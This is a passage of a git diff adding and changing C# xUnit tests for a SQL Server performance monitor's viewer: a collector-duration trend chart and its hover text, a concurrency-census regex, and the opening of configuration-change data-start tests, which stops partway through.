+    public async Task AnotherCollectorAndAnotherServer_StayOutOfEachOthersLines()
+    {
+        /* The exact server's one latch_stats run is a bucket of its own, so the chart draws no line for it; and the dense server's
+           cpu_utilization collector never shows on the exact server. */
+        var buckets = await ChartReadAsync(CollectorDurationChartStore.ExactServerId, End.AddDays(-7), End);
+
+        Assert.Equal(new[] { CollectorDurationChartStore.LatchStats, CollectorDurationChartStore.WaitStats }, buckets.Select(b => b.CollectorName).Distinct().Order().ToArray());
+        Assert.Single(buckets, b => b.CollectorName == CollectorDurationChartStore.LatchStats);
+        Assert.Equal(new[] { CollectorDurationChartStore.WaitStats }, CollectorDurationSeries.Build(buckets).Select(l => l.Collector).ToArray());
+    }
+
+    [Fact]
+    public async Task ARangeBeforeAnyRun_ReadsNothing()
+    {
+        var buckets = await ChartReadAsync(CollectorDurationChartStore.ExactServerId, End.AddDays(-30), End.AddDays(-20));
+
+        Assert.Empty(buckets);
+        Assert.Empty(CollectorDurationSeries.Build(buckets));
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerCollectorDurationChartTests.cs b/Darling/Darling.Tests/ViewerCollectorDurationChartTests.cs
new file mode 100644
index 0000000000..f585d56363
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerCollectorDurationChartTests.cs
@@ -0,0 +1,261 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Reflection;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The Collection Health tab's Duration Trends chart draws its own read over the whole toolbar range (#4966), not the Collection Log
+/// grid's page. The grid keeps the newest <see cref="ViewerDataService.CollectionLogRowCap"/> runs, so on a server logging about 20
+/// runs a minute the chart drew the newest ~25 minutes of "Last 24 hours" and left the rest of its axis empty. These are the pins that
+/// need no store (the read's shape, the bucket width held to the shared helper, the chart's feed and the lines it draws); the
+/// store-backed cases are <see cref="ViewerCollectorDurationChartLiveTests"/>. The web server page draws no chart from the Collection
+/// Log, which one pin holds.
+/// </summary>
+public sealed class ViewerCollectorDurationChartTests
+{
+    private static readonly DateTime Origin = new(2026, 9, 1, 12, 0, 0, DateTimeKind.Unspecified);
+
+    private static string ViewerFile(string file) => ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", file);
+
+    private static string TabFile() => ViewerFile("ViewerServerTab.CollectionHealth.cs");
+
+    private static string DataServiceFile() => ViewerFile("ViewerDataService.CollectionHealth.cs");
+
+    private static int Matches(string source, string pattern) => Regex.Matches(source, pattern).Count;
+
+    /* From the signature line to the first closing brace at that line's own indent. */
+    private static string MethodBody(string source, string signaturePattern)
+    {
+        var signature = Regex.Match(source, @"(?m)^(?<indent>[ ]*)[^\r\n]*" + signaturePattern);
+        Assert.True(signature.Success, $"{signaturePattern} was not found");
+
+        var indent = signature.Groups["indent"].Value;
+        var rest = source[signature.Index..];
+        var close = Regex.Match(rest, @"\r?\n" + indent + @"\}\r?\n");
+        Assert.True(close.Success, $"the end of {signaturePattern} was not found");
+        return rest[..(close.Index + close.Length)];
+    }
+
+    private static CollectorDurationBucket Bucket(string collector, int minute, int max, double avg = 0, long runs = 1) =>
+        new(collector, Origin.AddMinutes(minute), max, avg, runs);
+
+    // ── The chart's feed: its own read, joined with the tab's others, never the grid's page ──
+
+    [Fact]
+    public void TheChart_IsFedItsOwnRead_NotTheGridsPage()
+    {
+        var load = MethodBody(TabFile(), @"private async Task LoadHealthAsync\(");
+
+        /* The chart's read starts beside the grid's, from the same window, and the chart draws what it returned. */
+        Assert.Equal(1, Matches(load, @"var durationTask = ReadOrEmptyAsync\(\(\) => _dataService\.GetCollectorDurationTrendAsync\(_server\.ServerId,\s*startUtc,\s*endUtc\),"));
+        Assert.Equal(1, Matches(load, @"durationTask\.Result,"));
+        Assert.Equal(1, Matches(load, @"\bRenderCollectorDurationChart,"));
+        Assert.DoesNotContain("RenderCollectorDurationChart(logTask", load, StringComparison.Ordinal);
+
+        /* The grid's page goes to the one step, which hands it to the grid's filter manager and its banner, and nowhere else. */
+        Assert.Equal(1, Matches(load, @"logTask\.Result"));
+
+        /* The chart cannot be handed the page: its parameter is the buckets, and its body never names a log row. */
+        var render = typeof(ViewerServerTab).GetMethod("RenderCollectorDurationChart", BindingFlags.Instance | BindingFlags.NonPublic);
+        Assert.NotNull(render);
+        Assert.Equal(typeof(List<CollectorDurationBucket>), render!.GetParameters().Single().ParameterType);
+        Assert.DoesNotContain("CollectionLogRow", MethodBody(TabFile(), @"private void RenderCollectorDurationChart\("), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheGridKeepsItsPage_AndItsCap()
+    {
+        /* Nothing about the grid's read changed: one call, the default cap, the Collection Log banner naming the same cap. */
+        var load = MethodBody(TabFile(), @"private async Task LoadHealthAsync\(");
+        Assert.Equal(1, Matches(load, @"var logTask = _dataService\.GetRecentCollectionLogAsync\(_server\.ServerId,\s*startUtc,\s*endUtc\);"));
+        Assert.Equal(500, ViewerDataService.CollectionLogRowCap);
+    }
+
+    // ── The read: no row cap, one bucket per collector and width, from the shared origin, clamped to the window's start ──
+
+    [Fact]
+    public void TheSql_IsUncapped_BucketedFromTheSharedOrigin_AndClampedToTheWindowStart()
+    {
+        var sql = ViewerDataService.CollectorDurationTrendSql;
+
+        Assert.Contains("FROM v_collection_log", sql, StringComparison.Ordinal);
+        Assert.Contains("WHERE server_id = $1", sql, StringComparison.Ordinal);
+        Assert.Contains("collection_time >= $2", sql, StringComparison.Ordinal);
+        Assert.Contains("collection_time <= $3", sql, StringComparison.Ordinal);
+
+        /* The runs the chart drew before: successful, with a duration. */
+        Assert.Contains("status = 'SUCCESS'", sql, StringComparison.Ordinal);
+        Assert.Contains("duration_ms IS NOT NULL", sql, StringComparison.Ordinal);
+
+        /* What a bucket carries: the longest and the average duration and the run count, per collector. */
+        Assert.Contains("MAX(duration_ms) AS max_duration_ms", sql, StringComparison.Ordinal);
+        Assert.Contains("AVG(duration_ms) AS avg_duration_ms", sql, StringComparison.Ordinal);
+        Assert.Contains("COUNT(*) AS run_count", sql, StringComparison.Ordinal);
+        Assert.Contains("GROUP BY collector_name, 2", sql, StringComparison.Ordinal);
+
+        /* The bucket start is the shared origin's, clamped to the window's start as every trend read clamps it. */
+        Assert.Contains(
+            $"GREATEST(date_bin(CAST($4 AS integer) * INTERVAL '1 minute', collection_time, {TrendBucketSql.OriginSql}), $2) AS bucket_start",
+            sql, StringComparison.Ordinal);
+
+        /* No page: the grid's read is capped by its LIMIT, and this one must not be. */
+        Assert.DoesNotContain("LIMIT", sql, StringComparison.OrdinalIgnoreCase);
+
+        /* The file's dialect rules: positional parameters, no bare now(), no N literals. */
+        Assert.DoesNotContain("now(", sql.ToLowerInvariant());
+        Assert.DoesNotContain("N'", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("@", sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheRead_BindsItsWindowAsNaiveUtc_AndTheSharedWidth_UnderTheInteractiveDeadline()
+    {
+        var body = MethodBody(DataServiceFile(), @"public async Task<List<CollectorDurationBucket>> GetCollectorDurationTrendAsync\(");
+
+        Assert.Contains("CreateCommand(CollectorDurationTrendSql)", body, StringComparison.Ordinal);
+        Assert.Contains("command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;", body, StringComparison.Ordinal);
+        Assert.Matches(@"TypedValue = DateTime\.SpecifyKind\(startUtc,\s*DateTimeKind\.Unspecified\),", body);
+        Assert.Matches(@"TypedValue = DateTime\.SpecifyKind\(endUtc,\s*DateTimeKind\.Unspecified\),", body);
+        Assert.Equal(1, Matches(body, @"new NpgsqlParameter<int> \{ TypedValue = CollectorDurationBucketMinutes\(startUtc, endUtc\) \}"));
+
+        /* No row cap parameter, and the clock is not read: the window is the caller's. */
+        Assert.DoesNotContain("maxRows", body, StringComparison.Ordinal);
+        Assert.DoesNotContain("DateTime.UtcNow", body, StringComparison.Ordinal);
+    }
+
+    // ── The bucket width: the shared helper's, as the other viewer trend reads size theirs ──
+
+    [Fact]
+    public void TheBucketWidth_ForA24HourAndA7DayRange_IsTheSharedHelpers()
+    {
+        var end = new DateTime(2026, 9, 1, 12, 0, 0, DateTimeKind.Utc);
+
+        foreach (var hours in new[] { 24, 7 * 24 })
+        {
+            var start = end.AddHours(-hours);
+            Assert.Equal(
+                TrendBuckets.AutoMinutes(hours * 60, 1, TrendBudget.Chart.AutoPoints),
+                ViewerDataService.CollectorDurationBucketMinutes(start, end));
+        }
+
+        /* The wider the range, the wider the bucket: a week does not read at a day's width. */
+        Assert.True(
+            ViewerDataService.CollectorDurationBucketMinutes(end.AddDays(-7), end) > ViewerDataService.CollectorDurationBucketMinutes(end.AddDays(-1), end));
+    }
+
+    [Fact]
+    public void TheBucketWidth_RoundsAPartialMinuteUp_AndNeverGoesBelowOne()
+    {
+        var end = new DateTime(2026, 9, 1, 12, 0, 0, DateTimeKind.Utc);
+
+        /* A range is sized in whole minutes, rounding up, as the CPU and blocking trend reads size theirs. */
+        Assert.Equal(
+            TrendBuckets.AutoMinutes(1441, 1, TrendBudget.Chart.AutoPoints),
+            ViewerDataService.CollectorDurationBucketMinutes(end.AddHours(-24).AddSeconds(-30), end));
+
+        /* A range of nothing (a pinned custom range with equal ends) still has a width. */
+        Assert.Equal(TrendBuckets.AutoMinutes(1, 1, TrendBudget.Chart.AutoPoints), ViewerDataService.CollectorDurationBucketMinutes(end, end));
+    }
+
+    [Fact]
+    public void TheWidthFunction_SizesLikeTheOtherViewerTrendReads()
+    {
+        /* The same call the CPU and blocking trends make: one series, the chart budget. */
+        var body = MethodBody(DataServiceFile(), @"public static int CollectorDurationBucketMinutes\(");
+        Assert.Matches(@"var windowMinutes = Math\.Max\(1, \(int\)Math\.Ceiling\(\(endUtc - startUtc\)\.TotalMinutes\)\);", body);
+        Assert.Matches(@"return TrendBuckets\.AutoMinutes\(windowMinutes,\s*1,\s*TrendBudget\.Chart\.AutoPoints\);", body);
+
+        foreach (var other in new[] { "ViewerDataService.Cpu.cs", "ViewerDataService.BlockingTrends.cs" })
+        {
+            Assert.Matches(@"TrendBuckets\.AutoMinutes\(windowMinutes,\s*1,\s*TrendBudget\.Chart\.AutoPoints\)", ViewerFile(other));
+        }
+    }
+
+    // ── The lines the chart draws: each collector's bucket maxima ──
+
+    [Fact]
+    public void TheLines_AreEachCollectorsBucketMaxima_InCollectorThenTimeOrder_WithTheAverageAndCountAlongside()
+    {
+        /* Out of order on purpose: two collectors, buckets shuffled. The average is below the maximum in every bucket. */
+        var lines = CollectorDurationSeries.Build(
+        [
+            Bucket("wait_stats", 20, max: 900, avg: 300.5, runs: 4),
+            Bucket("cpu_utilization", 10, max: 50, avg: 40, runs: 10),
+            Bucket("wait_stats", 0, max: 120, avg: 60, runs: 10),
+            Bucket("wait_stats", 10, max: 5000, avg: 590, runs: 10),
+            Bucket("cpu_utilization", 0, max: 70, avg: 45, runs: 9),
+        ]);
+
+        Assert.Equal(new[] { "cpu_utilization", "wait_stats" }, lines.Select(l => l.Collector).ToArray());
+
+        var cpu = lines[0];
+        Assert.Equal(new[] { Origin.ToOADate(), Origin.AddMinutes(10).ToOADate() }, cpu.Times);
+        Assert.Equal(new[] { 70d, 50d }, cpu.MaxMs);
+        Assert.Equal(new[] { 45d, 40d }, cpu.AvgMs);
+        Assert.Equal(new[] { 9L, 10L }, cpu.Runs);
+
+        /* The slow bucket plots its maximum, not its average: a slow run shows however wide the bucket is. */
+        var wait = lines[1];
+        Assert.Equal(new[] { Origin.ToOADate(), Origin.AddMinutes(10).ToOADate(), Origin.AddMinutes(20).ToOADate() }, wait.Times);
+        Assert.Equal(new[] { 120d, 5000d, 900d }, wait.MaxMs);
+        Assert.Equal(new[] { 60d, 590d, 300.5d }, wait.AvgMs);
+        Assert.Equal(new[] { 10L, 10L, 4L }, wait.Runs);
+    }
+
+    [Fact]
+    public void ACollectorWithOneBucket_DrawsNoLine_AsOneRunDidNot()
+    {
+        var lines = CollectorDurationSeries.Build(
+        [
+            Bucket("latch_stats", 5, max: 7),
+            Bucket("wait_stats", 0, max: 100),
+            Bucket("wait_stats", 10, max: 110),
+        ]);
+
+        Assert.Equal(new[] { "wait_stats" }, lines.Select(l => l.Collector).ToArray());
+        Assert.Empty(CollectorDurationSeries.Build([]));
+    }
+
+    [Fact]
+    public void TheEmptyRange_ClearsTheHover_BeforeItDrawsNothing()
+    {
+        /* The old lines leave the plot on every render; the hover must forget them on the empty-range path too, or it tooltips ghosts. */
+        var body = MethodBody(TabFile(), @"private void RenderCollectorDurationChart\(");
+        var clear = body.IndexOf("_collectorDurationHover?.Clear();", StringComparison.Ordinal);
+        var empty = body.IndexOf("if (data.Count == 0)", StringComparison.Ordinal);
+
+        Assert.True(clear >= 0 && empty > clear, "the hover is cleared before the empty-range return");
+        Assert.Equal(1, Matches(body, @"_collectorDurationHover\?\.Clear\(\);"));
+    }
+
+    // ── The web: its Collection Log is a table, so there is no chart to feed ──
+
+    [Fact]
+    public void TheWebServerPage_DrawsNoChartFromTheCollectionLog()
+    {
+        /* Both server-page tab registries (SQL Server and PostgreSQL) read get_collection_log as a table panel only. A chart drawn from
+           this page's capped rows would draw the newest 200 runs against a range's whole axis, as the viewer's did (#4966): give it its
+           own bucketed read, as the viewer's chart has. */
+        var tabs = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js");
+
+        var reads = Matches(tabs, "\"get_collection_log\"");
+        Assert.Equal(2, reads);
+        Assert.Equal(reads, Matches(tabs, @"table\(\s*""Collection Log"",\s*""get_collection_log"","));
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerCollectorDurationHoverTests.cs b/Darling/Darling.Tests/ViewerCollectorDurationHoverTests.cs
new file mode 100644
index 0000000000..7929df183f
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerCollectorDurationHoverTests.cs
@@ -0,0 +1,210 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.IO;
+using System.Linq;
+using System.Runtime.ExceptionServices;
+using System.Text.RegularExpressions;
+using System.Threading;
+using PerformanceMonitor.Darling.Viewer;
+using PerformanceMonitor.Ui;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// What the Collection Health tab's Duration Trends hover says over a point (#4966), the viewer's half of Lite's #4989: each point draws
+/// its bucket's slowest run, so the hover's fourth line says how many runs that is the slowest of and what the bucket's average took,
+/// in the words both apps share (<see cref="CollectorDurationHoverText"/>). The line breaks at every collection gap by inserting a
+/// point of its own, so the lines are keyed by the X each bucket is drawn at: a line counted by position would say the NEXT bucket's
+/// runs after the first break and nothing for the last. Each fact draws the product's own lines (<c>PlotCollectorDurationSeries</c>) on
+/// a real chart, renders it so the chart knows its pixels, and asks the hover what it says with the mouse over a bucket's point.
+/// </summary>
+public sealed class ViewerCollectorDurationHoverTests
+{
+    private static readonly DateTime Start = new(2026, 10, 1, 0, 0, 0, DateTimeKind.Unspecified);
+
+    private static readonly CultureInfo English = new("en-US");
+
+    /// <summary>
+    /// One collector's twenty buckets, ten minutes apart, with a seventy-minute hole after the fifth: the line breaks there once.
+    /// Bucket k holds k + 1 runs that averaged 50 + k ms, and its slowest took 100 + 3k ms.
+    /// </summary>
+    private static List<CollectorDurationBucket> TwentyBucketsWithOneBreak() =>
+        Enumerable.Range(0, 20).Select(k => new CollectorDurationBucket(
+            "wait_stats", Start.AddMinutes(10 * k + (k >= 5 ? 60 : 0)), 100 + 3 * k, 50 + k, k + 1)).ToList();
+
+    /// <summary>Runs <paramref name="body"/> on the shared STA thread in US English (the chart is a WPF control), then puts the thread's culture back so the next body does not inherit it (#5602).</summary>
+    private static T InEnglish<T>(Func<T> body) =>
+        StaTestThread.Run(() =>
+        {
+            var saved = CultureInfo.CurrentCulture;
+            try
+            {
+                CultureInfo.CurrentCulture = English;
+                return body();
+            }
+            finally
+            {
+                CultureInfo.CurrentCulture = saved;
+            }
+        });
+
+    /// <summary>The hover text over each of the line's twenty points in turn (the mouse exactly on the point), in bucket order.</summary>
+    private static List<string?> HoverOverEachBucket(List<CollectorDurationBucket> buckets) =>
+        InEnglish(() =>
+        {
+            var chart = new ScottPlot.WPF.WpfPlot();
+            var hover = new ChartHoverHelper(chart, "ms", displayZone: () => TimeZoneInfo.Utc);
+            var line = Assert.Single(CollectorDurationSeries.Build(buckets));
+            ViewerServerTab.PlotCollectorDurationSeries(chart, hover, [line]);
+            chart.Plot.Axes.AutoScale();
+            using var render = chart.Plot.GetImage(1000, 400);
+
+            return line.Times
+                .Select((x, i) => hover.HoverTextAt(chart.Plot.GetPixel(new ScottPlot.Coordinates(x, line.MaxMs[i]))))
+                .ToList();
+        });
+
+    /// <summary>The popup's fourth line, or <c>null</c> when it is the three lines it is without one.</summary>
+    private static string? DetailOf(string? hover)
+    {
+        Assert.NotNull(hover);
+        var lines = hover!.Split('\n');
+        return lines.Length == 4 ? lines[3] : null;
+    }
+
+    // ── The shared text: one wording for both apps ──
+
+    /* The exact strings, for one run (singular), many runs, a thousands separator, a whole average and a fractional one. Lite pins the
+       same strings through its own method (CollectorDurationDetailTextTests), so the two apps cannot drift apart. */
+    [Theory]
+    [InlineData(1L, 50.0, "Slowest of 1 run; average 50 ms")]
+    [InlineData(12L, 61.0, "Slowest of 12 runs; average 61 ms")]
+    [InlineData(1234L, 2000.0, "Slowest of 1,234 runs; average 2,000 ms")]
+    [InlineData(10L, 910.8, "Slowest of 10 runs; average 910.8 ms")]
+    [InlineData(12L, 0.5, "Slowest of 12 runs; average 0.5 ms")]
+    public void TheSharedText_SaysTheRunCountAndTheAverage_InTheseExactWords(long runs, double average, string expected)
+    {
+        var text = InEnglish(() => CollectorDurationHoverText.Detail(runs, average));
+
+        Assert.Equal(expected, text);
+    }
+
+    /* The words follow the current culture, as Lite's always did, so the two apps read the same on one machine. */
+    [Fact]
+    public void TheSharedText_FollowsTheCurrentCulture()
+    {
+        string text = "";
+        var thread = new Thread(() =>
+        {
+            CultureInfo.CurrentCulture = new CultureInfo("de-DE");
+            text = CollectorDurationHoverText.Detail(1234, 910.8);
+        });
+        thread.Start();
+        thread.Join();
+
+        Assert.Equal("Slowest of 1.234 runs; average 910,8 ms", text);
+    }
+
+    /* The viewer words nothing itself: no source file in the viewer holds the text, so a second wording cannot grow back. */
+    [Fact]
+    public void TheViewer_HoldsNoCopyOfTheWords()
+    {
+        var offenders = Directory.EnumerateFiles(PathTo("Darling", "PerformanceMonitor.Darling.Viewer"), "*.cs", SearchOption.AllDirectories)
+            .Where(f => !f.Contains($"{Path.DirectorySeparatorChar}obj{Path.DirectorySeparatorChar}") && !f.Contains($"{Path.DirectorySeparatorChar}bin{Path.DirectorySeparatorChar}"))
+            .Where(f => File.ReadAllText(f).Contains("Slowest of", StringComparison.Ordinal))
+            .Select(Path.GetFileName)
+            .ToList();
+
+        Assert.Empty(offenders);
+        Assert.Contains("CollectorDurationHoverText.Detail(Runs[i], AvgMs[i])", ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "CollectorDurationSeries.cs"), StringComparison.Ordinal);
+    }
+
+    // ── The viewer's hover ──
+
+    /* The series carries each bucket's run count and average beside its slowest run, index for index with the X it is drawn at, and its
+       lines are the shared words over those. */
+    [Fact]
+    public void TheSeriesLines_AreTheSharedWords_OverEachBucketsOwnRunsAndAverage_KeyedByItsX()
+    {
+        var line = Assert.Single(CollectorDurationSeries.Build(TwentyBucketsWithOneBreak()));
+
+        var byX = InEnglish(() => line.DetailsByX());
+
+        Assert.Equal(20, byX.Count);
+        for (var k = 0; k < 20; k++)
+        {
+            Assert.Equal($"Slowest of {k + 1} {(k == 0 ? "run" : "runs")}; average {50 + k} ms", byX[line.Times[k]]);
+        }
+    }
+
+    /// <summary>
+    /// The observed case: twenty buckets and one break. A line counted by position would say bucket 11's runs over bucket 10 (the break
+    /// pushes it one point along the scatter) and nothing over the last bucket, whose place runs off the end of the lines. Each bucket
+    /// says its own.
+    /// </summary>
+    [Fact]
+    public void ABucketAfterABreak_ShowsItsOwnRunsAndAverage_NotTheNextBucketsAndTheLastOneShowsItsOwn()
+    {
+        var text = HoverOverEachBucket(TwentyBucketsWithOneBreak());
+
+        Assert.Equal(20, text.Count);
+        Assert.Equal("Slowest of 11 runs; average 60 ms", DetailOf(text[10]));
+        Assert.Equal("Slowest of 20 runs; average 69 ms", DetailOf(text[19]));
+        for (var k = 0; k < text.Count; k++)
+        {
+            Assert.Equal($"Slowest of {k + 1} {(k == 0 ? "run" : "runs")}; average {50 + k} ms", DetailOf(text[k]));
+        }
+    }
+
+    /// <summary>
+    /// The lines are keyed by the X each bucket is drawn at, and the point the line inserts at the break is none of them: every real
+    /// point of the drawn scatter finds its own bucket's line, and the NaN point between the two buckets the break separates finds none.
+    /// </summary>
+    [Fact]
+    public void TheLinesAreKeyedByX_SoEveryDrawnBucketFindsItsOwn_AndThePointTheBreakInsertsFindsNone()
+    {
+        var (line, drawn) = InEnglish(() =>
+        {
+            var chart = new ScottPlot.WPF.WpfPlot();
+            var series = Assert.Single(CollectorDurationSeries.Build(TwentyBucketsWithOneBreak()));
+            ViewerServerTab.PlotCollectorDurationSeries(chart, null, [series]);
+            var scatter = Assert.Single(chart.Plot.PlottableList.OfType<ScottPlot.Plottables.Scatter>());
+
+            return (series, scatter.Data.GetScatterPoints().ToList());
+        });
+
+        var byX = InEnglish(() => line.DetailsByX());
+
+        Assert.Equal(20, byX.Count);
+        Assert.Equal(21, drawn.Count);
+        var inserted = Assert.Single(drawn, p => double.IsNaN(p.Y));
+        Assert.False(byX.ContainsKey(inserted.X), "the point the break inserted has a hover line");
+        var real = drawn.Where(p => !double.IsNaN(p.Y)).ToList();
+        Assert.Equal(20, real.Count);
+        for (var k = 0; k < real.Count; k++)
+        {
+            Assert.Equal(CollectorDurationHoverText.Detail(line.Runs[k], line.AvgMs[k]), byX[real[k].X]);
+        }
+    }
+
+    /* The render hands its lines to the plot step with the tab's hover, which is what puts the lines on the popup. */
+    [Fact]
+    public void TheRender_DrawsItsLinesThroughThePlotStep_WithTheTabsHover()
+    {
+        var source = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerServerTab.CollectionHealth.cs");
+
+        Assert.Single(Regex.Matches(source, @"PlotCollectorDurationSeries\(CollectorDurationChart,\s*_collectorDurationHover,\s*CollectorDurationSeries\.Build\(data\)\);"));
+        Assert.Single(Regex.Matches(source, @"hover\?\.Add\(scatter,\s*line\.Collector,\s*line\.DetailsByX\(\)\);"));
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerCommandTimeoutTests.cs b/Darling/Darling.Tests/ViewerCommandTimeoutTests.cs
index 0ec7792ff7..d2dec61ca3 100644
--- a/Darling/Darling.Tests/ViewerCommandTimeoutTests.cs
+++ b/Darling/Darling.Tests/ViewerCommandTimeoutTests.cs
@@ -125,7 +125,7 @@ public sealed class ViewerCommandTimeoutTests
     /// today. Pinned by <see cref="TheDiscardAndDeferredShapes_StayDisjoint"/>. Found in review.</para>
     /// </summary>
     private static readonly Regex s_deferredRead = new(
-        @"(^|[^A-Za-z0-9_])(?:var|Task(?:\s*<[^;={}]*>)?)\s+(?!_\s*=)[A-Za-z_][A-Za-z0-9_]*\s*=\s*[A-Za-z_][A-Za-z0-9_\.]*Async\s*\(",
+        @"(^|[^A-Za-z0-9_])(?:var|Task(?:\s*<[^;={}]*>)?)\s+(?!_\s*=)(?<name>[A-Za-z_][A-Za-z0-9_]*)\s*=\s*[A-Za-z_][A-Za-z0-9_\.]*Async\s*\(",
         RegexOptions.Compiled | RegexOptions.CultureInvariant);
 
     /// <summary>An <c>await</c> as a keyword, not as part of a longer identifier.</summary>
@@ -712,6 +712,31 @@ public void TheFanOutCensus_RecognisesEachShape_AndOnlyThose(string body, bool e
         Assert.Equal(expectedFanOut, isFanOut);
     }
 
+    /// <summary>
+    /// The routed-read exclusion looks only at the member that owns the task, not at the rest of the file. A same-named task routed
+    /// through <c>AwaitReadWatchingProbeAsync</c> in a LATER member must not hide an earlier member's undeclared two-wide fan-out.
+    /// </summary>
+    [Fact]
+    public void TheRoutedReadExclusion_DoesNotReachIntoALaterMember()
+    {
+        var code = CSharpSourceWalker.StripCommentsAndStrings(
+            "private async Task FirstAsync()\n{\n"
+            + "    var firstTask = _dataService.GetOneAsync();\n"
+            + "    var readTask = _dataService.GetTwoAsync();\n"
+            + "    await Task.Yield();\n}\n"
+            + "private async Task SecondAsync()\n{\n"
+            + "    var probeTask = _dataService.GetThreeAsync();\n"
+            + "    var readTask = _dataService.GetFourAsync();\n"
+            + "    await AwaitReadWatchingProbeAsync(readTask, probeTask, \"X\");\n}\n");
+        var bodies = MemberBodies(code);
+        var deferred = DeferredReads(code);
+        var first = bodies.Single(b => b.Name == "FirstAsync");
+        var inFirst = deferred.Where(d => Owner(bodies, d.Index) is { } o && o.Start == first.Start).ToArray();
+
+        Assert.True(inFirst.Length == 2, $"the first member's {inFirst.Length} deferred read(s) were counted, not 2: the later routed `readTask` hid one");
+        Assert.True(ConcurrentRun(code, inFirst) >= 2, "the first member's undeclared two-wide fan-out was not caught");
+    }
+
     /// <summary>
     /// The member walk sees a generic method: type parameters after the name, constraints before the body.
     /// A member the walk cannot see cannot be required to declare a width, which is #3019's failure
@@ -958,7 +983,17 @@ would throw. */
     /// </summary>
     private static (int Index, int End)[] DeferredReads(string code)
     {
+        /* A task handed as the FIRST argument of AwaitReadWatchingProbeAsync(read, probe, surface) is the awaited read of a probe-beside-read
+           load: the routed spelling of `await read`, with the probe the one task beside it. That is the same concurrency the unrouted
+           `var probe = ...; var x = await read;` had, and which this census never counted as a deferred pair, so the routed form is not
+           counted as one either. A Task.WhenAll(...) first argument is still a join and is still matched by s_joinedFanOut. */
+        var bodies = MemberBodies(code);
+
         return s_deferredRead.Matches(code)
+            .Where(match => !Regex.IsMatch(
+                /* Only the owning member: a same-named task routed in a later member says nothing about this one. */
+                code[match.Index..(Owner(bodies, match.Index) is { } owner ? owner.End : code.Length)],
+                @"await\s+AwaitReadWatchingProbeAsync\(\s*" + Regex.Escape(match.Groups["name"].Value) + @"\s*,"))
             .Select(match =>
             {
                 /* The match ends ON the opening paren, which is what EndOfParenthesisedStatement wants;
diff --git a/Darling/Darling.Tests/ViewerConfigChangesDataStartTests.cs b/Darling/Darling.Tests/ViewerConfigChangesDataStartTests.cs
new file mode 100644
index 0000000000..523143d1a5
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerConfigChangesDataStartTests.cs
@@ -0,0 +1,333 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using System.Windows;
+using System.Windows.Controls;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using PerformanceMonitor.Ui;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The desktop viewer's three Configuration Changes grids say where their data starts (#4966). Each grid diffs the snapshots one
+/// collector writes (<c>server_config</c>, <c>database_config</c>, <c>trace_flags</c>), so a change's own time is a snapshot's
+/// capture time and the notice keys on the store's COVERAGE of that table: the later of the server's first collection and the
+/// table's retention edge, never the first change. A quiet start (the store covered the range, the first change came late) says
+/// nothing. None of the three reads is capped (each reads every snapshot up to the range's end), so none passes a row cap, and a
+/// range of 90 minutes or less makes no probe call. The viewer shows no PostgreSQL configuration-changes grid, which a ratchet
+/// here pins.
+/// </summary>
+/* The banner's time text reads the process-wide display mode and server clock, which the helper sets and restores; one shared
+   collection serializes it with every other class that flips the viewer's time statics. */
+[Collection("viewer-time-statics")]
+public sealed class ViewerConfigChangesDataStartTests
+{
+    private static readonly DateTime RangeStart = new(2026, 9, 1, 0, 0, 0, DateTimeKind.Utc);
+
+    /* A store nothing listens on: a probe that starts a query against it fails, one that does not returns at once. */
+    private const string UnreachableStore = "Host=127.0.0.1;Port=1;Username=nobody;Database=nothing;Timeout=3;Pooling=false";
+
+    private static string ViewerFile(string file) => ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", file);
+
+    private static int Matches(string source, string pattern) => Regex.Matches(source, pattern).Count;
+
+    private static string MethodBody(string source, string signaturePattern)
+    {
+        var match = Regex.Match(source, signaturePattern + @".*?\r?\n    \}\r?\n", RegexOptions.Singleline);
+        Assert.True(match.Success, $"{signaturePattern} was not found");
+        return match.Value;
+    }
+
+    private static DateTime At(int days, int hours = 0) => RangeStart.AddDays(days).AddHours(hours);
+
+    /* The three grids: the probe each one starts, the table it asks about, and the SQL its read runs (a view over that table). */
+    public static TheoryData<string, string, string> Grids => new()
+    {
+        { "GetServerConfigChangesDataStartAsync", "server_config", "ServerConfigChangesSnapshotsSql" },
+        { "GetDatabaseConfigChangesDataStartAsync", "database_config", "DatabaseConfigChangesSnapshotsSql" },
